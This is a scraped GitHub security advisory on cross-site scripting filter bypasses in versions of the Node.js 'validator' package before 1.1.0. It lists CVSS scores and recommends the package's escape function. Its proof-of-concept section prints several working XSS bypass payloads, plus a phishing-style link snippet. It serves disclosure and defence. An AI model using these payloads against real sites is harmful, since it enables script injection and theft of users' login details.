Lucene search

K
githubGitHub Advisory DatabaseGHSA-Q4QQ-FM7Q-CWP5
HistoryOct 24, 2017 - 6:33 p.m.

Multiple XSS Filter Bypasses in validator

2017-10-2418:33:36
CWE-79
GitHub Advisory Database
github.com
20

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

42.8%

Versions of validator prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter.

Proof of Concept

Various inputs that could bypass the filter were discovered:

Improper parsing of nested tags:

&lt;s &lt;onmouseover="alert(1)"&gt; &lt;;s onmouseover="alert(1)"&gt;This is a test</s>

Incomplete filtering of javascript: URIs:

&lt;a href="javascriptJ a V a S c R iPt::alert(1)" "<s>"&gt;test</a>

UI Redressing:

<div>
<h1>You have won</h1>Please click the link and enter your login details:
<a href="http://example.com/">http://good.com</a>
</div>

Bypass via Nested Forbidden Strings:

&lt;scrRedirecRedirect 302t 302ipt type="text/javascript"&gt;prompt(1);&lt;/scrRedirecRedirect 302t 302ipt&gt;

Additional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter’s XSS filtering function, which this code was based off of.

Recommendation

If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.

Affected configurations

Vulners
Node
validator_projectvalidatorRange<1.1.0node.js
VendorProductVersionCPE
validator_projectvalidator*cpe:2.3:a:validator_project:validator:*:*:*:*:*:node.js:*:*

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

42.8%